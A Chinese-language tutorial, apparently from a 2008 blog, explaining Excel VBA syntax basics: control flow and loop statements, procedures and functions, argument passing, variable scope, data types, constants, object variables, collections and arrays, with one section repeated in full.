基本语句
1、控制程序流程语句
(1) GoTo语句
该语句将执行的程序转到指定的标签所在的语句指令，但不能转移到过程之外的指令。例如，在进行错误捕捉时，发生错误后，程序转移至标签所在处执行。
(2) If…Then语句
这种类型的语句用于条件判断中，当满足条件时，执行相应的语句；当条件不满足时，执行其它的操作。
基本语法为：
If <条件> Then <条件满足时的执行语句>
If … Then语句有几种形式分别用于不同的情况：
①当只有一个条件时，可使用下面的结构：
If <条件> Then <条件满足时的执行语句> [Else <条件不满足时的执行语句>]
其中，Else子句可选。如果该语句不在同一行中，则应在后面加上End If语句，即：
If <条件> Then
[指令]
End If
或：
If <条件> Then
[指令]
Else
[指令]
End If
当条件为真时，执行Then后面的语句并结束If…Then语句的执行，否则执行Else后面的语句或结束If…Then语句的执行。
②当有两个或多个条件时，可使用嵌套的If … Then 结构：
If <条件> Then
[指令]
ElseIf <条件1> Then
[指令]
[Else]
[指令]
End If
上面只是两层嵌套，可以根据情况使用多层嵌套。当条件为真时，执行Then后面的语句并结束If…Then语句的执行，否则判断条件1，当条件1为真时，执行Then后面的语句并结束If…Then语句的执行，否则执行Else后面的指令。
(3) Select Case语句
当需要作出三种或三种以上的条件判断时，最后使用Select Case语句。其基本语法为：
Select Case <测试表达式>
[Case 条件表达式1]
[指令]
[Case 条件表达式2]
[指令]
……
[Case Else]
[指令]
End Select
当某个条件表达式与测试表达式相匹配时，则执行其后的指令，否则执行Else(如果有的话)后的指令，然后结束Select Case块的执行。
此外，Select Case语句还可以嵌套。
(有关程序控制语句的进一步介绍和示例请见后面的一系列文章)
2、循环语句
循环即重复执行某段代码。在VBA中，有多种可以构成循环的语句结构。
(1) For … Next 循环
其语法如下：
For <计数器=开始数> To <结束数> [step 步长]
[指令]
[Exit For]
[指令]
Next [计数器]
从开始到结束，反复执行For和Next之间的指令块，除非遇到Exit For语句，将提前跳出循环。其中，步长和Exit For语句以及Next后的计数器均为可选项。
For…Next循环中可以再包含For…Next循环，即For…Next循环可以嵌套使用。
(2) Do While循环
只有在满足指定的条件时才执行Do While循环。有两种形式：
■ 第一种形式
Do [While 条件]
[指令]
[Exit Do]
[指令]
Loop
当条件满足时执行指令。
■ 第二种形式
Do
[指令]
[Exit Do]
[指令]
Loop [While 条件]
先执行指令，然后再判断条件，如果条件满足则再次执行指令。
其中Exit Do语句表示提前退出指令块。
(3) Do Until循环
与Do While循环一样，也有两种形式；
■ 第一种形式
Do [Until 条件]
[指令]
[Exit Do]
[指令]
Loop
■ 第二种形式
Do
[指令]
[Exit Do]
[指令]
Loop [Until 条件]
执行指令，直到条件满足时退出循环。
(4) While … Wend循环
其语法为：
While <条件>
[指令]
Wend
当条件满足时，则执行指令。
(有关循环语句的进一步介绍和示例请见后面的一系列文章)
- - - - - - - - - - - - - - - - - - - -
过程
过程由一组完成所要求操作任务的VBA语句组成。子过程不返回值，因此，不能作为参数的组成部分。
其语法为：
[Private|Public] [Static] Sub <过程名> ([参数])
[指令]
[Exit Sub]
[指令]
End Sub
说明：
(1) Private为可选。如果使用Private声明过程，则该过程只能被同一个模块中的其它过程访问。
(2) Public为可选。如果使用Public声明过程，则表明该过程可以被工作簿中的所有其它过程访问。但是如果用在包含Option Private Module语句的模块中，则该过程只能用于所在工程中的其它过程。
(3) Static为可选。如果使用Static声明过程，则该过程中的所有变量为静态变量，其值将保存。
(4) Sub为必需。表示过程开始。
(5) <过程名>为必需。可以使用任意有效的过程名称，其命名规则通常与变量的命名规则相同。
(6) 参数为可选。代表一系列变量并用逗号分隔，这些变量接受传递到过程中的参数值。如果没有参数，则为空括号。
(7) Exit Sub为可选。表示在过程结束之前，提前退出过程。
(8) End Sub为必需。表示过程结束。
如果在类模块中编写子过程并把它声明为Public，它将成为该类的方法。
(关于过程的详细介绍和示例见后面的一系列文章)
- - - - - - - - - - - - - - - - - - - -
函数
函数(function)是能完成特定任务的相关语句和表达式的集合。当函数执行完毕时，它会向调用它的语句返回一个值。如果不显示指定函数的返回值类型，就返回缺省的数据类型值。
声明函数的语法为：
[Private|Public] [Static] Function <函数名> ([参数]) [As 类型]
[指令]
[函数名=表达式]
[Exit Function]
[指令]
[函数名=表达式]
End Function
说明：
(1) Private为可选。如果使用Private声明函数，则该函数只能被同一个模块中的其它过程访问。
(2) Public为可选。如果使用Public声明函数，则表明该函数可以被所有Excel VBA工程中的所有其它过程访问。不声明函数过程的作用域时，默认的作用域为Public。
(3) Static为可选。如果使用Static声明函数，则在调用时，该函数过程中的所有变量均保持不变。
(4) Function为必需。表示函数过程开始。
(5) <函数名>为必需。可以使用任意有效的函数名称，其命名规则与变量的命名规则相同。
(6) 参数为可选。代表一系列变量并用逗号分隔，这些变量是传递给函数过程的参数值。参数必须用括号括起来。
(7) 类型为可选。指定函数过程返回的数据类型。
(8) Exit Function为可选。表示在函数过程结束之前，提前退出过程。
(9) End Function为必需。表示函数过程结束。
通常，在函数过程执行结束前给函数名赋值。
函数可以作为参数的组成部分。但是，函数只返回一个值，它不能执行与对象有关的动作。
如果在类模块中编写自定义函数并将该函数的作用域声明为Public，这个函数将成为该类的方法。
(关于Function过程的详细介绍和示例见后面的一系列文章)
- - - - - - - - - - - - - - - - - - - -
事件处理过程
要对一个控件事件编写事件处理程序，应先打开窗体的代码窗口并从可用对象的下拉列表中选择所需的控件。然后，从该控件的可用事件下拉列表中选择所用的事件。此时，对事件处理程序的定义语句就会自动出现在代码窗口中，就可以直接编写事件处理程序了。
在Excel中，有下面几类事件，即Excel应用程序事件、工作簿事件、工作表事件、图表事件、用户窗体事件等。
(关于Excel中事件处理的介绍请见后面的一系列文章)
- - - - - - - - - - - - - - - - - - - -
类模块
类模块是存放共享变量以及共享代码的存储库。创建一个类模块，实际上也是在创建一个COM(组件对象模型)接口。因此，类模块允许通过一个由属性、方法和事件组成的可编程接口向外界描述应用程序，同时保证保留对应用程序的控制权。也就是说，类模块能够让程序实现“封装”，这样，在其它工程中可以直接使用某类模块而不需要访问源代码。此外，可以使用类来创建自已的库，如果要使用的话，只需要在任何新的工程中添加一个对该类的引用就行了。并且，如果要改变程序，只需对类模块改动就行了，而不需要在程序的每个部分都作改动。
(有关类模块知识的详细介绍请见后面的一系列文章)
- - - - - - - - - - - - - - - - - - - -
属性过程
属性过程(property procedure)是特殊的过程，用于赋予和获取自定义属性的值。属性过程只能在对象模块如窗体或类模块中使用。
有三种属性过程：
Property Let
给属性赋值
Property Get
获取属性的值
Property Set
将对象引用赋给属性引用
- - - - - - - - - - - - - - - - - - - -
调用子过程和函数过程
子过程可以用下面三种方法调用。第一种使用Call语句：
Call DoSomething(参数1，参数2，……)
如果使用Call语句，就必须用小括号将参数列表括起来。
第二种是直接利用过程名：
DoSomething 参数1，参数2，……
此时，不用在参数列表两边加上括号。
如果不想使用函数的返回值，可以用上述任一种方法调用函数。否则，可以用函数名作为表达式的组成部分，如
If GetFunctionResult(parameter)=1 Then
如果用函数调用作为表达式的一部分，参数列表必须放在小括号中。
第三种是使用Run方法。
(关于过程调用更详细的介绍和示例请见后面的一系列文章)
- - - - - - - - - - - - - - - - - - - -
在过程间传递参数
在很多情况下，需要在子过程或函数中调用另一个自定义函数或子过程，这时，在被调用过程中就要用到在调用过程中使用的某个变量。因此，可把该变量作为参数传递给被调用过程。不管被调用过程是在同一模块、同一工程中的过程，还是在远程服务器上的类中的一个方法，从一个过程向另一个过程传递变量的原理都是一样的。
被调用过程(而不是调用过程)决定了变量如何从调用过程传递到被调用过程。
1、VBA允许用两种不同的方式在过程和组件之间传递参数。在子过程或函数的定义部分，可以指定参数列表中的变量的传递方式：ByRef(按引用)或者ByVal(按值)。
(1) ByRef
这是VBA中在过程间传递变量的默认方法。ByRef是指按引用传递变量，即传递给被调用过程的是原变量的引用。因此，如果改变了被调用过程中的变量值，其变化就会反映到调用过程中的那个变量，因为它们实际上是同一个变量。
(2) ByVal
如果使用ByVal关键字传递变量，被调用过程获得的就是该变量的独立副本。因此，改变被庙用过程中该变量的值不会影响调用过程中该变量原来的值。
2、Optional参数
Optional关键字用来指定某个特定的参数并不一定要传递，即为可选参数。但是，该参数必须放在最后。
3、ParamArray
使用ParamArray关键字能够使过程按受一组数目可变的参数。ParamArray参数必须是参数列表中的最后一个参数，而且不能在使用了Optional关键字的参数列表中使用ParamArray参数。
- - - - - - - - - - - - - - - - - - - -
变量(常量)作用域和生存期
有时需要在工程内的所有过程中使用某个变量，而有时某些变量又只需要在某些特定的过程中用到，变量的这种可见性称为变量作用域。
变量存在和作用的时间，称为变量的生存期。
变量或常数在程序中声明的位置决定了变量的作用域和生存期。
总的说来，在模块的声明部分用Private关键字声明的变量可以被模块中的所有过程使用；在模块的声明部分用Public关键字声明的变量可以被整个工程使用；若某个对象引用指向某类模块，则在该类模块的声明部分用Public关键字声明的变量可以被整个工程使用；在子过程或函数中用Dim语句声明的变量只能被声明这些变量的过程使用。
(1) 过程级作用域
在一个过程(即子过程或函数)内声明的变量只能在该过程内使用，其生存期在执行了End Sub或End Function语句后结束。因此，可以在不同的过程中定义具有相同名称的不同变量。声明过程级作用域的变量，在过程中用Dim语句声明变量。
此外，还有一种具有过程级作用域的特殊变量，称为静态变量。静态变量是在过程中定义的，尽管这种变量也具有过程级作用域，但是它具有模块级的生存期。这意味着只能在定义静态变量的过程内使用这些变量，但是变量的值在两次过程调用之间是保持不变的。用Static关键字声明静态变量：
Static lngExcuted As Long
还可以声明一个过程为静态过程，在这种情况下，在过程中声明的所有变量都被认为是静态变量，而且它们的值在两次过程调用之间都会保持不变，如
Static Procedure MyProcedure()
Dim iCtr As Integer
(2) 模块级或私有作用域
具有模块级作用域的变量可以被某个模块内的所有子过程和函数使用，也可以在模块级生存期内保存在内存中。
在模块的声明部分(即任何子过程或函数外)，用Dim语句或Private语句声明变量来创建一个具有模块级作用域的变量。
(3) Friend作用域
Friend关键字只能用于在对象模块(如类模块或窗体模块)中的变量和过程的声明。用Friend声明的变量允许工程中的其他对象模块访问原模块中的变量或方法，但是不需要用Public语句声明这些变量或方法。
(4) 公共作用域
在过程外使用Public语句声明的变量可以被当前工程中的所有模块使用。
- - - - - - - - - - - - - - - - - - - -
注释
“注释”就是嵌入在代码中的描述性文本，VBA完全忽略注释中的文本。
要在代码中插入注释，只需在前面加上单引号，即在一行中以单引号(‘)开始。
注释应该表达有用的信息。
星期一, 十二月 15, 2008
VBA语法基础(上)
- - - - - - - - - - - - - - - - - -
VBA语法基础(上)
- - - - - - - - - - - - - - - - - -
数据类型
“数据类型”是指如何将数据存储在内存中。
(1)Boolean
表示逻辑数据，可以是True或False中的任一个值。占用2字节的存储空间，取值范围为True或False，缺省值为False。
(2)Byte
只能表示正数。占用1字节的存储空间，取值范围为0-255，缺省值为0。
(3)Currency
一种保存货币值数据的特殊数字格式。占用8字节的存储空间，取值范围为-922337203685477.5808-922337203685477.5807，缺省值为0。
(4)Date
一种用于表示日期或时间的专用格式。占用8字节的存储空间，取值范围为100年1月1日——9999年12月31日，缺省值为00：00：00。(有关在VBA中使用日期和时间的详细介绍请见后面的一系列文章。)
(5)Decimal
一种包含以10的幂为刻度的十进制数的变体子类型，只能通过CDec转换函数创建，不是一种独立的数据类型。占用14字节的存储空间，取值范围为±79228162514264337593543950335(不带小数点)或±7.9228162514264337593543950335(带28位小数点)，缺省值为0。
(Decimal数据类型是在Excel 2000中引入的，在以前的版本中不能使用这种数据类型。该数据类型非常特殊，因为不能实际声明它，它是Variant的子类型，必须使用CDec函数将一个变量转换为Decimal数据类型)
(6)Double
存储双精度浮点数，占用8字节的存储空间，取值范围为负值：-1.79769313486232E308——4.94065645841247E-324，正值：1.79769313486232E308——4.94065645841247E-324，缺省值为0。
(7)Integer
表示从-32768-32767之间的整数，其中一位表示符号，占用2字节的存储空间，缺省值为0。
(8)Long
表示存储为4个字节空间的带符号的数，其中一位表示符号，取值范围为-2147483648-2147483647，缺省值为0。
(9)Object
包含对某个对象的引用(地址)，占用4字节的存储空间，可对任何对象引用，缺省值为Nothing。
(10)Single
表示分数、带小数位或指数的数值等单精度数，占用4字节的存储空间，取值范围为负值：-3.402823E38——1.401298E-45，正值：1.401298E-45——3.402823E38，缺省值为0。
(11)String
可声明定长和变长的String数据类型。其中，定长的String数据类型占用的存储空间为字符串的长度，取值范围为1——65400个字符，缺省值等于该字符串长度的空格数。变长的String数据类型能动态地加长或缩短以存储要求的字符串数，占用的存储空间为10字节加上字符串的长度，取值范围为0——20亿个字符，缺省值为零长字符串(“”)。(有关String数据类型及处理和操作字符串数据的VBA内置函数的详细介绍请见后面的一系列文章。)
(12)Variant
Variant字符串类型的存储空间为22字节加上字符串的长度，其取值范围与变长字符串数据类型的取值范围相同，缺省值为Empty。
Variant数字型的存储空间为16字节，其取值范围与Double数据类型的取值范围相同，缺省值为Empty。
(有关Variant数据类型的进一步介绍见后面的一系列文章。)
(13)用户自定义类型
允许用户创建一种特殊的数据类型，这种数据类型由VBA的内部数据类型、数组、对象或其他用户定义类型组成，其存储空间为各个组成部分的存储空间的总和，取值范围与各个组成部分的数据类型的取值范围一致，缺省值为各个组成部分的缺省值。(有关用户自定义类型的进一步介绍请见后面的一系列文章。)
各数据类型之间也可以相互转换。(有关数据类型转换的详细介绍请见后面的一系列文章)
(有关数字数据类型(Byte、Integer、Long、Single、Double、Currency、Decimal、Variant)及相应的VBA内置函数的详细介绍请见后面的一系列文章。)
- - - - - - - - - - - - - - - - - -
常量(数)
常量即在程序执行过程中不发生改变的值或字符串。
使用Const语句声明常量。如：
Const Rate=0.25
Const NumMonths As Integer=12
Public Const myName As String=”BabyPig”
而最后一个语句声明了一个公共常量，应放在模块中所有过程之前声明。
VBA自身包含有许多内置常数，它们的值都是VBA预先定义好的，使用内部常数时无需定义这些常数的值。
■ 几个特殊的常数
由于有好几种不相同的“无效值”常数，VBA语言提供了好几种方法，以检验某个变量是否为empty或null值，或者设置某个变量为empty或null值。
(1) vbNull
和VarType函数一起使用，用于确定变量是否包含null。
(2) vbNullChar
赋值或检测null字符，null字符的值为Chr(0)，即vbNullChar常数相当于将变量赋值为Chr(0)，可用于检测变量，确定它的值是否是一个null字符。
(3) vbNullString
赋值或检测零长(空)字符串。
(4) Null关键字
将null值赋给variant变量后，可以通过调用IsNull函数来检测变量是否是Null值。
(5) vbEmpty
检测某个variant变量是否初始化。
(6) Nothing关键字
只能和对象变量一起使用，以确定变量是否具有有效的对象引用，此外，Nothing关键字还可以用于销毁当前的对象引用。
(关于常量的介绍还可见《ExcelVBA编程系列之数据类型(1)：常量》)
- - - - - - - - - - - - - - - - - -
变量
变量的主要作用是存取数据、提供了数据存放信息的容器。根据变量的作用域不同，可分为局部变量、全局变量，见后面的变量(常量)作用域和生存期介绍。
变量命名要注意以下几点：
1、有效性。变量以字母开头，中间可以出现数字和一些标点符号，除下划线( _ )作为连字符外，变量名称不能有空格、加号(+)、减号(-)、逗号(，)、句点(.)等符号。
2、VBA不区分大小写。但在变量命名时，最好体现该变量的作用
3、不能使用VBA中的关键字作为变量。
4、变量名称中不能有特殊类型的声明字符(#、$、%、&或!)。
5、变量名称最多可以包含254个字符。
(有关VBA的命名规则的详细介绍请见后面的一系列文章)
- - - - - - - - - - - - - - - - - -
声明变量
其语法为：
Dim <变量名> As <数据类型>
或：Private <变量名> As <数据类型>
或：Public <变量名> As <数据类型>
可以在一行中声明多个变量，每个变量之间用逗号分隔开。
还有一种声明变量的方法是，将一个字符加在变量名称后面，从而声明变量的数据类型。如
Dim MyVar%
表示将变量MyVar声明为整型。一些类型声明符为：
数据类型 类型声明字符
Integer %
Long &
Single !
Double #
Currency @
String $
在模块前加入Option Explicit语句，将强制声明所使用的所有变量。
- - - - - - - - - - - - - - - - - -
对象变量
在使用对象模型的属性、方法和事件之前，必须创建一个对包含所需属性、方法和事件的类的引用。可以先声明一个局部对象变量以存储该对象引用，然后把对象引用赋给该局部变量。
声明对象变量的方法和声明其他类型的变量基本上一样。有三种声明对象变量的方法：
(1) Dim myObject As <库名>.<类名>
此方法指向类的类型库，但没有给该变量赋予任何类的实例。此时，变量myObject被赋值为Nothing。若要用这种方式引用类，就必须利用“引用”对话框向工程添加一个对类模块的引用。若要将类的实例引用赋予该变量，必须在使用该变量之前用Set语句赋值。如：
Set myObject=<库名>.<类名>
(2) Dim myObject As New <库名>.<类名>
此方法将类的新实例引用赋给Object变量。同样，要用这种方式引用类，必须先利用“引用”对话框向工程添加一个对类模块的引用。
(3) Dim myObject As Object
此方法将myObject变量声明为一般的Object数据类型，这在不能预先知道要创建的对象的数据类型时十分有用。此时，Object变量被赋值为Nothing。若要将对象引用赋值给该变量，必须使用CreateObject函数或GetObject函数。
可以用Private或Public语句替换Dim语句，且对象变量的作用域规则和其他类型的变量一样。
声明对象变量可以显著地简化代码且加快代码的执行速度。
有关对象模型的基础知识见ExcelVBA编程系列之对象模型(2):初步理解和使用Excel对象模型一文。
- - - - - - - - - - - - - - - - - -
集合(Collection)对象
集合对象是其他对象的一个容器。
一般有四个方法：
(1) Add方法
添加一项到集合中。除了可以指定数据外还可以指定键值，通过键值可以访问集合中的成员。
(2) Count方法
返回集合中的项的个数。
(3) Item方法
通过集合中的索引(即集合中项的序号)或键(假设该项添加到集合时指定了)检索集合中的成员。
(4) Remove方法
通过集合中的索引或键删除集合中的成员。
可以使用With…End With构造和For Each … Next构造很方便地处理对象和集合，其介绍可参见ExcelVBA编程系列之对象模型(2):初步理解和使用Excel对象模型一文。
- - - - - - - - - - - - - - - - - -
运算符
运算符是用于完成操作的一系列符号，包括算术运算符、比较运算符、逻辑运算符、字符串运算符等。可用于连接一个或多个语言元素，或者完成一些运算以形成一个表达式。
- - - - - - - - - - - - - - - - - -
表达式
表达式就是变量、常量、运算符的集合，可分为算术表达式、字符串表达式、赋值表达式、布尔表达式等
详细的内容请见VBA编程系列：运算符和表达式。
- - - - - - - - - - - - - - - - - -
数组
数组是一组拥有相同名称同类元素。定义数组后，即创建了数组。数组中单个的数据项称为数组元素，用于访问数组元素的编号称为数组索引号，最小索引号和最大索引号称为边界。
在VBA中，根据数组元素是否变化，分为固定大小的数组和动态数组，根据数组的维数又可分为一维数组和多维数组。
1、创建数组
用Dim语句来定义固定大小的数组，即声明一个数组。如
Dim myArray(9) As Integer
上面的代码创建一个名为myArray含有10个数组元素的一维数组。注意，所有VBA数组的下界均从0开始，因此上面的代码所创建的数组元素从myArray(0)到myArray(9)。
在Dim语句中不指明数组元素的个数来声明动态数组，如
Dim myDynamicArray() As Integer
使用ReDim关键字重新定义数组的大小：
ReDim myDynamicArray(10)
也可以用ReDim关键字同时声明一个动态数组并指定该数组的元素个数：
ReDim myDynamicArray(5) As Integer
VBA没有限制重新定义动态数组大小的次数，但在重新定义数组大小时，原有的数组数据就会丢失。如果需要保留原来的数据，可以使用Preserve关键字：
ReDim Preserve myDynamicArray(5)
需要注意的是，如果重新定义数组时减小了数组的大小，则会丢失被缩减了的那部分元素的数据。
当然，与声明变量一样，也可以用Public语句声明公共数组。
2、确定数组的边界
可以使用UBound函数和LBound函数分别获取数组的最大边界和最小边界。
默认情况下，VBA的数组的下界是从0开始的，可以在模块的声明部分使用Option Base语句来改变模块中数组的起始边界。如
Option Base 1
该语句使数组元素的索引号从1开始。
也可以在定义数组时指定数组的上界和下界，如
Dim <数组名> (<下界> to <上界>) As <数据类型>
3、多维数组
多维数组可以在每个数组元素中存储一组数据，因此，多维数组的每个数组元素都包含一个数组。与一维数组相同，可以使用下面的两种方法创建多维数组：
(1)Dim <数组名> (<数组元素数1>，<数组元素数2>，……) As <数据类型>
(2)Dim <数组名>(<下界> to <上界>，<下界> to <上界>，……) As <数据类型>
与一维数组相似，多维数组也可以是动态的。
4、引用数组中的元素
可以使用数组名称和一个索引号来引用数组中的某个特定的元素。
(有关数组的进一步介绍及其应用请见后面的一系列文章)
- - - - - - - - - - - - - - - - - -
内置函数
VBA中包含各种内置函数，可以简化计算和操作。在VBA表达式中使用函数的方式与使用工作表公式中函数的方式相同。
在VBA代码中，也可以使用很多Excel工作表函数，即使用WorksheetFunction对象调用工作表函数。但是不能使用具有与VBA内置函数功能相同的工作表函数。
(有关内置函数的进一步介绍及应用请见后面的一系列文章)
VBA语法基础(上)
- - - - - - - - - - - - - - - - - -
数据类型
“数据类型”是指如何将数据存储在内存中。
(1)Boolean
表示逻辑数据，可以是True或False中的任一个值。占用2字节的存储空间，取值范围为True或False，缺省值为False。
(2)Byte
只能表示正数。占用1字节的存储空间，取值范围为0-255，缺省值为0。
(3)Currency
一种保存货币值数据的特殊数字格式。占用8字节的存储空间，取值范围为-922337203685477.5808-922337203685477.5807，缺省值为0。
(4)Date
一种用于表示日期或时间的专用格式。占用8字节的存储空间，取值范围为100年1月1日——9999年12月31日，缺省值为00：00：00。(有关在VBA中使用日期和时间的详细介绍请见后面的一系列文章。)
(5)Decimal
一种包含以10的幂为刻度的十进制数的变体子类型，只能通过CDec转换函数创建，不是一种独立的数据类型。占用14字节的存储空间，取值范围为±79228162514264337593543950335(不带小数点)或±7.9228162514264337593543950335(带28位小数点)，缺省值为0。
(Decimal数据类型是在Excel 2000中引入的，在以前的版本中不能使用这种数据类型。该数据类型非常特殊，因为不能实际声明它，它是Variant的子类型，必须使用CDec函数将一个变量转换为Decimal数据类型)
(6)Double
存储双精度浮点数，占用8字节的存储空间，取值范围为负值：-1.79769313486232E308——4.94065645841247E-324，正值：1.79769313486232E308——4.94065645841247E-324，缺省值为0。
(7)Integer
表示从-32768-32767之间的整数，其中一位表示符号，占用2字节的存储空间，缺省值为0。
(8)Long
表示存储为4个字节空间的带符号的数，其中一位表示符号，取值范围为-2147483648-2147483647，缺省值为0。
(9)Object
包含对某个对象的引用(地址)，占用4字节的存储空间，可对任何对象引用，缺省值为Nothing。
(10)Single
表示分数、带小数位或指数的数值等单精度数，占用4字节的存储空间，取值范围为负值：-3.402823E38——1.401298E-45，正值：1.401298E-45——3.402823E38，缺省值为0。
(11)String
可声明定长和变长的String数据类型。其中，定长的String数据类型占用的存储空间为字符串的长度，取值范围为1——65400个字符，缺省值等于该字符串长度的空格数。变长的String数据类型能动态地加长或缩短以存储要求的字符串数，占用的存储空间为10字节加上字符串的长度，取值范围为0——20亿个字符，缺省值为零长字符串(“”)。(有关String数据类型及处理和操作字符串数据的VBA内置函数的详细介绍请见后面的一系列文章。)
(12)Variant
Variant字符串类型的存储空间为22字节加上字符串的长度，其取值范围与变长字符串数据类型的取值范围相同，缺省值为Empty。
Variant数字型的存储空间为16字节，其取值范围与Double数据类型的取值范围相同，缺省值为Empty。
(有关Variant数据类型的进一步介绍见后面的一系列文章。)
(13)用户自定义类型
允许用户创建一种特殊的数据类型，这种数据类型由VBA的内部数据类型、数组、对象或其他用户定义类型组成，其存储空间为各个组成部分的存储空间的总和，取值范围与各个组成部分的数据类型的取值范围一致，缺省值为各个组成部分的缺省值。(有关用户自定义类型的进一步介绍请见后面的一系列文章。)
各数据类型之间也可以相互转换。(有关数据类型转换的详细介绍请见后面的一系列文章)
(有关数字数据类型(Byte、Integer、Long、Single、Double、Currency、Decimal、Variant)及相应的VBA内置函数的详细介绍请见后面的一系列文章。)
- - - - - - - - - - - - - - - - - -
常量(数)
常量即在程序执行过程中不发生改变的值或字符串。
使用Const语句声明常量。如：
Const Rate=0.25
Const NumMonths As Integer=12
Public Const myName As String=”BabyPig”
而最后一个语句声明了一个公共常量，应放在模块中所有过程之前声明。
VBA自身包含有许多内置常数，它们的值都是VBA预先定义好的，使用内部常数时无需定义这些常数的值。
■ 几个特殊的常数
由于有好几种不相同的“无效值”常数，VBA语言提供了好几种方法，以检验某个变量是否为empty或null值，或者设置某个变量为empty或null值。
(1) vbNull
和VarType函数一起使用，用于确定变量是否包含null。
(2) vbNullChar
赋值或检测null字符，null字符的值为Chr(0)，即vbNullChar常数相当于将变量赋值为Chr(0)，可用于检测变量，确定它的值是否是一个null字符。
(3) vbNullString
赋值或检测零长(空)字符串。
(4) Null关键字
将null值赋给variant变量后，可以通过调用IsNull函数来检测变量是否是Null值。
(5) vbEmpty
检测某个variant变量是否初始化。
(6) Nothing关键字
只能和对象变量一起使用，以确定变量是否具有有效的对象引用，此外，Nothing关键字还可以用于销毁当前的对象引用。
(关于常量的介绍还可见《ExcelVBA编程系列之数据类型(1)：常量》)
- - - - - - - - - - - - - - - - - -
变量
变量的主要作用是存取数据、提供了数据存放信息的容器。根据变量的作用域不同，可分为局部变量、全局变量，见后面的变量(常量)作用域和生存期介绍。
变量命名要注意以下几点：
1、有效性。变量以字母开头，中间可以出现数字和一些标点符号，除下划线( _ )作为连字符外，变量名称不能有空格、加号(+)、减号(-)、逗号(，)、句点(.)等符号。
2、VBA不区分大小写。但在变量命名时，最好体现该变量的作用
3、不能使用VBA中的关键字作为变量。
4、变量名称中不能有特殊类型的声明字符(#、$、%、&或!)。
5、变量名称最多可以包含254个字符。
(有关VBA的命名规则的详细介绍请见后面的一系列文章)
- - - - - - - - - - - - - - - - - -
声明变量
其语法为：
Dim <变量名> As <数据类型>
或：Private <变量名> As <数据类型>
或：Public <变量名> As <数据类型>
可以在一行中声明多个变量，每个变量之间用逗号分隔开。
还有一种声明变量的方法是，将一个字符加在变量名称后面，从而声明变量的数据类型。如
Dim MyVar%
表示将变量MyVar声明为整型。一些类型声明符为：
数据类型 类型声明字符
Integer %
Long &
Single !
Double #
Currency @
String $
在模块前加入Option Explicit语句，将强制声明所使用的所有变量。
- - - - - - - - - - - - - - - - - -
对象变量
在使用对象模型的属性、方法和事件之前，必须创建一个对包含所需属性、方法和事件的类的引用。可以先声明一个局部对象变量以存储该对象引用，然后把对象引用赋给该局部变量。
声明对象变量的方法和声明其他类型的变量基本上一样。有三种声明对象变量的方法：
(1) Dim myObject As <库名>.<类名>
此方法指向类的类型库，但没有给该变量赋予任何类的实例。此时，变量myObject被赋值为Nothing。若要用这种方式引用类，就必须利用“引用”对话框向工程添加一个对类模块的引用。若要将类的实例引用赋予该变量，必须在使用该变量之前用Set语句赋值。如：
Set myObject=<库名>.<类名>
(2) Dim myObject As New <库名>.<类名>
此方法将类的新实例引用赋给Object变量。同样，要用这种方式引用类，必须先利用“引用”对话框向工程添加一个对类模块的引用。
(3) Dim myObject As Object
此方法将myObject变量声明为一般的Object数据类型，这在不能预先知道要创建的对象的数据类型时十分有用。此时，Object变量被赋值为Nothing。若要将对象引用赋值给该变量，必须使用CreateObject函数或GetObject函数。
可以用Private或Public语句替换Dim语句，且对象变量的作用域规则和其他类型的变量一样。
声明对象变量可以显著地简化代码且加快代码的执行速度。
有关对象模型的基础知识见ExcelVBA编程系列之对象模型(2):初步理解和使用Excel对象模型一文。
- - - - - - - - - - - - - - - - - -
集合(Collection)对象
集合对象是其他对象的一个容器。
一般有四个方法：
(1) Add方法
添加一项到集合中。除了可以指定数据外还可以指定键值，通过键值可以访问集合中的成员。
(2) Count方法
返回集合中的项的个数。
(3) Item方法
通过集合中的索引(即集合中项的序号)或键(假设该项添加到集合时指定了)检索集合中的成员。
(4) Remove方法
通过集合中的索引或键删除集合中的成员。
可以使用With…End With构造和For Each … Next构造很方便地处理对象和集合，其介绍可参见ExcelVBA编程系列之对象模型(2):初步理解和使用Excel对象模型一文。
- - - - - - - - - - - - - - - - - -
运算符
运算符是用于完成操作的一系列符号，包括算术运算符、比较运算符、逻辑运算符、字符串运算符等。可用于连接一个或多个语言元素，或者完成一些运算以形成一个表达式。
- - - - - - - - - - - - - - - - - -
表达式
表达式就是变量、常量、运算符的集合，可分为算术表达式、字符串表达式、赋值表达式、布尔表达式等
详细的内容请见VBA编程系列：运算符和表达式。
- - - - - - - - - - - - - - - - - -
数组
数组是一组拥有相同名称同类元素。定义数组后，即创建了数组。数组中单个的数据项称为数组元素，用于访问数组元素的编号称为数组索引号，最小索引号和最大索引号称为边界。
在VBA中，根据数组元素是否变化，分为固定大小的数组和动态数组，根据数组的维数又可分为一维数组和多维数组。
1、创建数组
用Dim语句来定义固定大小的数组，即声明一个数组。如
Dim myArray(9) As Integer
上面的代码创建一个名为myArray含有10个数组元素的一维数组。注意，所有VBA数组的下界均从0开始，因此上面的代码所创建的数组元素从myArray(0)到myArray(9)。
在Dim语句中不指明数组元素的个数来声明动态数组，如
Dim myDynamicArray() As Integer
使用ReDim关键字重新定义数组的大小：
ReDim myDynamicArray(10)
也可以用ReDim关键字同时声明一个动态数组并指定该数组的元素个数：
ReDim myDynamicArray(5) As Integer
VBA没有限制重新定义动态数组大小的次数，但在重新定义数组大小时，原有的数组数据就会丢失。如果需要保留原来的数据，可以使用Preserve关键字：
ReDim Preserve myDynamicArray(5)
需要注意的是，如果重新定义数组时减小了数组的大小，则会丢失被缩减了的那部分元素的数据。
当然，与声明变量一样，也可以用Public语句声明公共数组。
2、确定数组的边界
可以使用UBound函数和LBound函数分别获取数组的最大边界和最小边界。
默认情况下，VBA的数组的下界是从0开始的，可以在模块的声明部分使用Option Base语句来改变模块中数组的起始边界。如
Option Base 1
该语句使数组元素的索引号从1开始。
也可以在定义数组时指定数组的上界和下界，如
Dim <数组名> (<下界> to <上界>) As <数据类型>
3、多维数组
多维数组可以在每个数组元素中存储一组数据，因此，多维数组的每个数组元素都包含一个数组。与一维数组相同，可以使用下面的两种方法创建多维数组：
(1)Dim <数组名> (<数组元素数1>，<数组元素数2>，……) As <数据类型>
(2)Dim <数组名>(<下界> to <上界>，<下界> to <上界>，……) As <数据类型>
与一维数组相似，多维数组也可以是动态的。
4、引用数组中的元素
可以使用数组名称和一个索引号来引用数组中的某个特定的元素。
(有关数组的进一步介绍及其应用请见后面的一系列文章)
- - - - - - - - - - - - - - - - - -
内置函数
VBA中包含各种内置函数，可以简化计算和操作。在VBA表达式中使用函数的方式与使用工作表公式中函数的方式相同。
